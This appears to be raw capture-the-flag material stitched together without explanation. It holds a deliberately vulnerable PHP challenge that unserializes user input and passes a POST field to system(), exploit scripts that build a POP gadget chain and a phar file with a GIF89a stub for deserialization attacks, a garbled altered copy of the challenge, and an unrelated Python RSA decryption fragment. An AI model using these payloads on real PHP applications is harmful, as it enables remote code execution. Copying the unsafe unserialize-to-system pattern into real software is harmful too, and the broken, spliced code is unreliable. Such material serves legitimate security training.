<?php highlight_file(__FILE__); error_reporting(0); function best64_decode($str) { return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str))))); } class yesterday { public $learn; public $study="study"; public $try; public function __construct() { $this->learn = "learn<br>"; } public function __destruct() { echo "You studied hard yesterday.<br>"; return $this->study->hard(); } } class today { public $doing; public $did; public $done; public function __construct(){ $this->did = "What you did makes you outstanding.<br>"; } public function __call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo $this->done; if(md5(md5($this->doing))==666){ return $this->doing(); } else{ return $this->doing->better; } } } class tommoraw { public $good; public $bad; public $soso; public function __invoke(){ $this->good="You'll be good tommoraw!<br>"; echo $this->good; } public function __get($arg1){ $this->bad="You'll be bad tommoraw!<br>"; }
} class future{ private $impossible="How can you get here?<br>"; private $out; private $no; public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) { if ($this->out->useful7) { echo "Seven is my lucky number<br>"; system('whoami'); } } public function __toString(){ echo "This is your future.<br>"; system($_POST["wow"]); return "win"; } public function __destruct(){ $this->no = "no"; return $this->no; } } if (file_exists($_GET['filename'])){ echo "Focus on the previous step!<br>"; } else{ $data=substr($_GET['filename'],0,-4); unserialize(best64_decode($data)); } // You learn yesterday, you choose today, can you get to your future? ?>
<?php function best64_encode($str) { return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str))))); }
class yesterday { public $learn; public $study="study"; public $try; public function __construct() { $this->learn = "learn<br>"; } public function __destruct() { echo "You studied hard yesterday.<br>"; return $this->study->hard(); } }
class today { public $doing; public $did; public $done; public function __construct(){ $this->did = "What you did makes you outstanding.<br>"; } public function __call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo $this->done; if(md5(md5($this->doing))==666){ return $this->doing(); } else{ return $this->doing->better; } } } class tommoraw { public $good; public $bad; public $soso; public function __invoke(){ $this->good="You'll be good tommoraw!<br>"; echo $this->good; } public function __get($arg1){ $this->bad="You'll be bad tommoraw!<br>"; }
} class future{ private $impossible="How can you get here?<br>"; private $out; private $no; public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) { if ($this->out->useful7) { echo "Seven is my lucky number<br>"; system('whoami'); } } public function __toString(){ echo "This is your future.<br>"; system($_POST["wow"]); return "win"; } public function __destruct(){ $this->no = "no"; return $this->no; } }
$future = new future(); $today =new today(); $yesterday = new yesterday(); $yesterday->study = $today; $today->doing = $future; echo best64_encode(serialize($yesterday));
<?php highlight_file(__FILE__); error_reporting(0); function best64_decode($str) { return base64_encode(md5(base64_encode(md5($str)))); } class yesterday { public $learn; public $study="study"; public $try; public function __construct() { $this->learn = "learn<br>"; } public function __destruct() { echo "You studied hard yesterday.<br>"; return $this->study->hard(); } } class today { public $doing; public $did; public $done; public function __construct(){ $this->did = "What you did makes you outstanding.<br>"; } public function __call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo $this->done; if(md5(md5($this->doing))==666){ return $this->doing(); } else{ return $this->doing->better; } } } class tommoraw { public $good; public $bad; public $soso; public function __invoke(){ $this->good="You'll be good tommoraw!<br>"; echo $this->good; } public function __get($arg1){ $this->bad="You'll be bad tommoraw!<br>"; }
} class future{ private $impossible="How can you get here?<br>"; private $out; private $no; public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) { if ($this->out->useful7) { echo "Seven is my lucky number<br>"; system('whoami'); } } public function __toString(){ echo "This is your future.<br>"; system($_POST["wow"]); return "win"; } public function __destruct(){ $this->no = "no"; return $this->no; } } if (file_exists($_GET['filename'])){ echo "Focus on the previous step!<br>"; } else{ $data=substr($_GET['filename'],0,-4); unserialize(best64($data)); } // You learn yesterday, you choose today, can you get to your future? ?>
<?php function best64_encode($str) { return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str))))); } class future{ } class today { public $doing; public function __construct() { $this->doing = new future(); } } class yesterday { public $learn; public $study; public $try; public function __construct() { $this->study = new today(); } } $a=new yesterday(); $phar = new Phar("flag.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering();
# 解密PART1 found = False for e_candidate in all_e_candidates: if gcd(e_candidate, phi1) == 1: try: d = int(gmpy2.invert(e_candidate, phi1)) m1 = pow(c1, d, n1) bytes_m1 = long_to_bytes(m1) # 检查是否为可打印字符 if all(32 <= b <= 126 for b in bytes_m1): print(f"PART1解密成功!e1 = {e_candidate}") print(f"明文前半部分: {bytes_m1}") found = True break except: continue if not found: print("未找到有效的e1")